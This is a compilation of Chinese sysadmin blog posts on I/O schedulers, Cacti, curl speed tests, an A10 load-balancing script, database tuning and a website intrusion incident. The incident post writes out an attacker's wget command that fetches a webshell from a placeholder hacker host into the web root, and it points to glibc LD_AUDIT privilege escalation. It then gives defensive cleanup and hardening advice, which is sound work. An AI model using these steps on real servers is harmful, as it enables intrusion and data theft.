1)CFQ(完全公平排队I/O调度程序)

特点:
在最新的内核版本和发行版中,都选择CFQ做为默认的I/O调度器,对于通用的服务器也是最好的选择.
CFQ试图均匀地分布对I/O带宽的访问,避免进程被饿死并实现较低的延迟,是deadline和as调度器的折中.
CFQ对于多媒体应用(video,audio)和桌面系统是最好的选择.
CFQ赋予I/O请求一个优先级,而I/O优先级请求独立于进程优先级,高优先级的进程的读写不能自动地继承高的I/O优先级.

工作原理:
CFQ为每个进程/线程,单独创建一个队列来管理该进程所产生的请求,也就是说每个进程一个队列,各队列之间的调度使用时间片来调度,
以此来保证每个进程都能被很好的分配到I/O带宽.I/O调度器每次执行一个进程的4次请求.

2)NOOP(电梯式调度程序)

特点:
在Linux2.4或更早的版本的调度程序,那时只有这一种I/O调度算法.
NOOP实现了一个简单的FIFO队列,它像电梯的工作主法一样对I/O请求进行组织,当有一个新的请求到来时,它将请求合并到最近的请求之后,以此来保证请求同一介质.
NOOP倾向饿死读而利于写.
NOOP对于闪存设备,RAM,嵌入式系统是最好的选择.

电梯算法饿死读请求的解释:
因为写请求比读请求更容易.
写请求通过文件系统cache,不需要等一次写完成,就可以开始下一次写操作,写请求通过合并,堆积到I/O队列中.
读请求需要等到它前面所有的读操作完成,才能进行下一次读操作.在读操作之间有几毫秒时间,而写请求在这之间就到来,饿死了后面的读请求.

3)Deadline(截止时间调度程序)

特点:
通过时间以及硬盘区域进行分类,这个分类和合并要求类似于noop的调度程序.
Deadline确保了在一个截止时间内服务请求,这个截止时间是可调整的,而默认读期限短于写期限.这样就防止了写操作因为不能被读取而饿死的现象.
Deadline对数据库环境(ORACLE RAC,MYSQL等)是最好的选择.

4)AS(预料I/O调度程序)

特点:
本质上与Deadline一样,但在最后一次读操作后,要等待6ms,才能继续进行对其它I/O请求进行调度.
可以从应用程序中预订一个新的读请求,改进读操作的执行,但以一些写操作为代价.
它会在每个6ms中插入新的I/O操作,而会将一些小写入流合并成一个大写入流,用写入延时换取最大的写入吞吐量.
AS适合于写入较多的环境,比如文件服务器
AS对数据库环境表现很差.

查看当前系统支持的IO调度算法
dmesg | grep -i scheduler

[root@localhost ~]# dmesg | grep -i scheduler
io scheduler noop registered
io scheduler anticipatory registered
io scheduler deadline registered
io scheduler cfq registered (default)

查看当前系统的I/O调度方法:

cat /sys/block/sda/queue/scheduler
noop anticipatory deadline [cfq]

临地更改I/O调度方法:
例如:想更改到noop电梯调度算法:
echo noop > /sys/block/sda/queue/scheduler

想永久的更改I/O调度方法:
修改内核引导参数,加入elevator=调度程序名
vi /boot/grub/menu.lst
更改到如下内容:
kernel /boot/vmlinuz-2.6.18-8.el5 ro root=LABEL=/ elevator=deadline rhgb quiet

重启之后,查看调度方法:
cat /sys/block/sda/queue/scheduler
noop anticipatory [deadline] cfq
已经是deadline了

cacti的主机模版带来方便的同时，也把一些单独的修改项关闭了。
比如我们常常用到的Interface – Traffic (bits/sec)模版。
平时我们简单的勾选套用就可以画出流量图。
实际使用监控中，我们只能知道这个接口#号，无法标注更详细的信息。
尤其是交换机往往有10-20多个接口需要监控，每个接口对应的上下联如果也能在图上显示就更好了。
但是如果我们去修改模版的话，就会把所有套用的graphs全部修改掉了。
这里提供一个简单的办法，其实cacti在针对套用模版的graphs本身只提供了data sources的name等字段修改没有提供graph的修改项。
所以我们要想修改单独的graph的name 或者其他参数只能自己到数据库中修改。希望cacti下一个版本可以更新这部分。

#找到cacti的数据库
mysql>use cactidb;
#在cacti的url中可以获得你想修改的graph的id号；例如url中的graphs.php?action=graph_edit&id=xxxx
mysql>select * from graph_templates_graph where local_graph_id="xxxx"\G;
*************************** 1. row ***************************
                           id: 1111
local_graph_template_graph_id: 2
               local_graph_id: xxxx
            graph_template_id: 2
            t_image_format_id: 0
              image_format_id: 1
                      t_title: 0
                        title: |host_description| - Traffic - Gi0/25
                  title_cache: xx-xxx - Traffic - Gi0/25  
                     t_height: 0
                       height: 120
                      t_width: 0
                        width: 500
                t_upper_limit: 0
                  upper_limit: 100
                t_lower_limit: 0
                  lower_limit: 0
             t_vertical_label: 0
               vertical_label: bits per second
                 t_slope_mode: 0
                   slope_mode: on
                 t_auto_scale: 0
                   auto_scale: on
            t_auto_scale_opts: 0
              auto_scale_opts: 2
             t_auto_scale_log: 0
               auto_scale_log: 
            t_scale_log_units: 0
              scale_log_units: 
           t_auto_scale_rigid: 0
             auto_scale_rigid: on
               t_auto_padding: 0
                 auto_padding: on
                 t_base_value: 0
                   base_value: 1000
                   t_grouping: 0
                     grouping: 
                     t_export: 0
                       export: on
                 t_unit_value: 0
                   unit_value: 
        t_unit_exponent_value: 0
          unit_exponent_value: 
#基本所有的参数都能修改了，这里我们找到title_cache和title修改为自己想要的graph tilte信息就可以了。

为了实现cdn同步需求常常才对节点之间的下载速度做写测试，这项工作其实很简单。

能使用工具也很多，不过目前公司节点已经突破百位数啦，尤其是很多合作厂商的加入，是的网速测试变的越来越重要。

网站cdn资源同步效率的也变的要求也越来越高。

所以很多时候需要快速反映和马上能出结果的测试，变的更加符合现在的需求。

一般linux服务器上都会安装curl，这个工具非常好用，网上对这个介绍也很多，这里就不在重复了。

我们也只需要curl中的speed_download输出结果就可以了。

先从日志中抽取一个完整的全节点url文本。

然后当然是遍历文本；

 
for url in `cat urlfile`
 
do
 
  #把下载容量设定在1MB，就不用关心这个下载文件的大小了（url都是视频文件基本都大于1MB）。
 
  speed=$(curl -r 0-1048576 -L -w %{speed_download} -o/dev/null -s "$url")
 
  IP=`echo $url|awk -F\/ '{print $3}'` #取域名或者ip
 
  echo -e "$IP\t$speed" |tee -a result.txt
 
done

是不是很快捷的就能批量测试本地到各个节点的下载速度。

第一次用TCL，也是第一次测试A10的LB设备。
根据公司原来架构要求，改写了原来的images LB系统的url hash，提高了容错能力。
主要构想是要实现url hash的一致性，连续性的负载均衡要求；

算法很简单，url md5 hash后根据nodes数量为取模值然后转到后端的node id；
如果该后端出现故障，将nodes数量减去当前的故障设备，重新取模后转到后端。

A10脚本不是完整的TCL语法，除了增加了自己的设备command外也相应了删减了很多TCL的command。
比如proc就不能用了，导致我的语法显的啰嗦了。
设备上的脚本为AfleX，转帖如下：

#后端设备列表
when RULE_INIT {
  set ::ips [list "xx.xx.xx.1" "xx.xx.xx.2" "xx.xx.xx.3" "xx.xx.xx.4" "xx.xx.xx.5" ]
}
 
when HTTP_REQUEST {
  #取url做md5并转成整数型
  set url_hash [HTTP::host][HTTP::uri]
  set md5_hash [md5 $url_hash]
  set int_md5 [scan $md5_hash %c]
  set nodes [llength $::ips]
  #debug 信息排错用
  log local0.NOTICE "Each variable:All node: $nodes; URI hash: $int_md5"
  #在循环判断service-groups和nood状态并指向后端
  while 1 {
    if { [LB::status pool imgcache_pool] == "down" } {
      break
      log local0.ERR "Imgcache group is down or disables."
    }
    #取模
    set hashs [expr $int_md5 % $nodes]
    #模数指向后端
    switch $hashs {
      0 {
        set IP [lindex $::ips 0]
        if { [LB::status node $IP port 80 tcp] == "up" } {
          node $IP 80
          break
        } else {
          set nodes [expr $nodes - 1 ]
          log local0.ERR "IP addr:$IP is down. no hash its service."
        }
      }
      1 {
        set IP [lindex $::ips 1]
        if { [LB::status node $IP port 80 tcp] == "up" } {
          node $IP 80
          break
        } else {
          set nodes [expr $nodes - 1 ]
          log local0.ERR "IP addr:$IP is down. no hash its service."
        }
      }
      2 {
        set IP [lindex $::ips 2]
        if { [LB::status node $IP port 80 tcp] == "up" } {
          node $IP 80
          break
        } else {
          set nodes [expr $nodes - 1 ]
          log local0.ERR "IP addr:$IP is down. no hash its service."
        }
      }
      3 {
        set IP [lindex $::ips 3]
        if { [LB::status node $IP port 80 tcp] == "up" } {
          node $IP 80
          break
        } else {
          set nodes [expr $nodes - 1 ]
          log local0.ERR "IP addr:$IP is down. no hash its service."
        }
      }
      4 {
        set IP [lindex $::ips 4]
        if { [LB::status node $IP port 80 tcp] == "up" } {
          node $IP 80
          break
        } else {
          set nodes [expr $nodes - 1 ]
          log local0.ERR "IP addr:$IP is down. no hash its service."
        }
      }
    }
  }
    #http_header中插入真实client ip
    if { not [HTTP::header exists "CCIP"] } {
    HTTP::header "CCIP" [IP::client_addr]
  } 
}

上图，睡觉

4月1日，一个疯狂好玩的日子，本应该娱乐娱乐，同学们又在轻松迎接清明节，结果却发生了网站遭入侵事件，也算咱们运气以及人品爆发，正好有同事再进行服务器更新结果发现可疑进程，才及时避免了网站用户数据的遭窃。

一、入侵基本过程：

1、利用web框架漏洞取得webshell；（至于是什么漏洞这里就不抖露。）

2、上传后门代码方法之一：wget htt://xx.heike.com/webshell.txt; mv webshell.txt /wwwroot/.xx/xxx.[html/jsp/asp....]；

3、www调用该页面，取得服务级用户权限，并查找架构配置文件和其中的数据库用户密码；

网上有个现成的jsp脚本，详细功能可查看：jsp管理系统

4、到这里已经顺利的完成后门部署，可以执行远程普通用户shell了，后果已经相当可怕了。

不过这还不算完，有了普通用户的权限，离root还遥远吗？

5、利用glibc2.X 漏洞进行提权获取root帐号；(目前测下来RH5、centos5、FC13、ubuntu10…. 都悲催的)

怎么操作网上一查都是,关键字就是LD_AUDIT,同学们自己试试。

6、除了架构漏洞外，只要是被入侵后服务器，都还会留下其他多个后门隐藏在系统中、防不胜防。

二、一些处理意见

以下所写只是个人意见，一定也会存在不少疏忽和遗漏，只要你开启服务就必要有漏洞可以被利用。

1、第一时间当然是断开服务，切走流量，最好是能切断网络（如果可以的话），killall可疑进程；

2、ps -eafww中查找各个进程的父子关系，以便寻踪觅迹，找到后门代码（$0伪装进程名，这里不点透了，有经验的sa应该都知道。）

3、找后门代码的方法很多，我自己琢磨了几个，希望对大家以后查找防范有帮助；

1）find /wwwroot/中的文件 按修改和创建时间查；

2）在所有目录中查找以被利用的服务用户为属主的文件：比如apache nobody等等；

3）grep -r 后门代码特征字段查找文件；

4） file * 查找后缀名和内容不相符的文件；

5）access log 可疑clientip/useragent/POST动作等等；

6）抛砖引玉……

4、就算预防吧，其实只是提高入侵成本罢了；

1）使用ssh key登录；

2）限制服务器对外访问，什么要访问www？（用proxy限制访问的域名，iptables限制ip）总之开的越小越好，最好是不开。

3）user一律nologin；开个服务要登录shell？

4）卸载编译工具，好像狠了点提高了不少维护成本啦，那就改名吧。（gcc cc都改）

5）glibc升级，我说说而已大家自己斟酌。

6）熟悉selinux的 enforce起来；

晚上辗转反侧睡不着，自己琢磨的。

很多时候文章就和代码是一样的：
有时候晦涩难懂；有时候又臭又长；
没有注解的时候，看到都那么费劲；
常常因为一个符号的差别而表达的意思不同；
你来排比，我有循环；
你出比喻，我赋变量；
你有疑问、设问、反问；
我有字符、列表、字典；
天下文章一大抄；网罗代码啃抽C。

土豆泡大米
新浪微博

酷六开外挂，我不以为然；
乐视创业猛，其道貌岸然；
优酷勇当先，此顺其自然；
奇虎逆流飞，不期然而然；
叹土豆、期土豆，处之泰然、理所当然、自得悠然；
莫迟迟，此防患于未然；
莫等闲，事有必至，理由固然。

土豆泡大米
新浪微博

先将部分的hiadmin的文章转移过来。
导图源文件下载在这里。
解压后用freemind打开。
FreeMind是一款基于java的免费的脑图(mind mapping)制作与管理软件。

画了这张导图，虽然没有涵盖所有的内容，但基本常用的都加入进去了；
学习rrdtool还是要靠多多实践，反复练习；
这张图只能给大家一个快速记忆和简单介绍；
RRDTool 快速学习：

不再挣扎了，舒舒坦坦的灌水。想不到还是离不开 tcmalloc，只能说squid你老了。

最近开始使用MangoDB，发现数量超过5000W级别后，内置自增键值生成将是瓶颈，并且是IO瓶颈，暂时没有找到解决办法，目前使用了MySQL帮忙生成自增主键，然后递交给MangoDB的方法，绕开了这个问题，保证了性能。谢谢DBA同学和开发同学的联合创意。

默认CFQ调度算法时的IO读出情况：

procs ———–memory———- —swap– —–io—- –system– —–cpu——
r  b   swpd   free   buff  cache   si   so    bi    bo   in   cs us sy id wa st
0 62    228 187912 162956 35527464    0    0    32   373   29   17  1  0 99  1  0
1 75    228 195752 163140 35514840    0    0  3328    68 3057 4491  1  1 70 29  0
0 65    228 191292 163140 35515476    0    0  4112  2100 2763 4344  3  1 56 41  0
0 46    228 194852 163172 35502764    0    0  8176   120 2838 5508  1  1 59 39  0
0 42    228 195936 163280 35490764    0    0 10560 116 3138 8232  2  1 57 40  0
1 44    228 193344 163356 35478256    0    0 15008   116 3514 10078  2  1 70 27  0
1 55    228 195044 163440 35466248    0    0 11184   208 3166 6166  1  1 63 35  0
0 38    228 192260 163444 35453892    0    0 14976    76 3438 7207  2  1 69 29  0
0 44    228 194724 163444 35441892    0    0 10976    64 3086 6235  1  1 73 25  0
1 30    228 194436 163444 35429420    0    0 12368     4 2985 7091  1  1 74 25  0
1 48    228 195204 163472 35417404    0    0 10640    76 2956 5958  1  1 73 25  0

echo “deadline” > /sys/block/sda/queue/scheduler 后

procs ———–memory———- —swap– —–io—- –system– —–cpu——
r  b   swpd   free   buff  cache   si   so    bi    bo   in   cs us sy id wa st
2 24    228 187092 163956 35296872    0    0    32   373   29   17  1  0 99  1  0
0 27    228 196124 164220 35260808    0    0 26848    72 3488 13624  3  1 76 21  0
1 18    228 191600 164296 35236392    0    0 27488   136 3778 14836  3  1 69 27  0
1 25    228 190372 164296 35212800    0    0 25536  2364 3505 14365  4  1 74 22  0
0 31    228 195928 164308 35176608    0    0 30832    68 3511 14468  3  1 75 22  0
0 24    228 192968 164316 35152836    0    0 26864    72 3448 13974  3  1 78 18  0
1 23    228 191056 164332 35128484    0    0 25680    68 4101 14074  3  1 73 23  0
0 26    228 195456 164344 35092812    0    0 29376   152 3725 13864  3  1 73 23  0
1 21    228 194220 164344 35068452    0    0 26784    76 3519 14830  3  1 78 17  0
1 25    228 189876 164344 35044780    0    0 29216    72 3943 16160  3  1 76 19  0
1 22    228 197312 164344 35008576    0    0 27920    84 3795 14375  4  1 74 21  0

以前没机会试试，因为IO并不高，体现不出，今天测试了下，提高一倍的吞吐量。数据库一定要用deadline，一切以实践为准！

前两天无意中在mailling list里面看到有人反映nginx在响应safari浏览器时，会将原本的长链接响应变为短链接。Igor随即就出了补丁，目前0.7.x以上才有这个问题。原文链接：http://forum.nginx.org/read.php?2,151962,153418#msg-153418

好久没更新blog了，今天的话题也很简单，我想尝试一下atom cpu，在内存密集型的应用上。关注ing。看来都是被微博害的，字越写越少了，哈。

今天才发现Percona Server 这个版本加入的一个功能引起了我的注意，那就是共享内存方式的innodb buffer，和传统的使用内存缓冲方式不同的是，此功能允许mysql实例重启后不会丢失内存缓存中的内容，重启后仍能使用，这就避免了重启后内存缓存预热的IO开销，用系统共享内存的方法持久化了缓存内容，创意而又实用，Percona5.1对我的诱惑越来越大了，回头测测。

原文链接：http://www.percona.com/docs/wiki/percona-server:features:innodb_buffer_pool_shm